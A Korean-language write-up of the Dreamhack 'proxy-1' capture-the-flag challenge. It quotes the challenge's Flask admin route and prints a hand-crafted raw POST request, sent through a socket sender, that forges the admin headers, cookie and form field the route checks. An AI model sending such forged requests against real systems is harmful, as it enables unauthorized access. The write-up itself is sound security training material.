[Dreamhack] Level 1: proxy-1

1. 문제 

https://dreamhack.io/wargame/challenges/13

proxy-1

 

2. 해결 과정

코드를 확인해보면

127.0.01 로컬호스트일 경우에만 admin 접근을 허락한다. 

즉, Burp suite를 이용해서 조작할 수 없을 것이다. 

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

 

따라서 socket sender에서 직접 데이터를 입력해서 POST 요청을 보내 로컬호스트에 연결해주어야 한다. 

if문에 맞춰 내용을 입력해준다. 

 

이 때, 요청 본문(form data)에 userid=admin이 포함되어야 한다.

따라서, Content Length = 12로 세팅해주고, Content-type= application/x-www-form-urlencoded 로 입력해주었다. 

• text/html: HTML 문서
• text/plain: 일반 텍스트
• application/json: JSON 데이터 형식
• application/xml: XML 데이터
• multipart/form-data: 여러 파트로 이루어진 폼 데이터, 파일 업로드에 주로 사용
• application/x-www-form-urlencoded: 웹 폼에서 입력된 데이터가 인코딩된 형태

if request.form.get('userid') != 'admin':
        return 'Admin id'

POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length:12

userid=admin

 

성공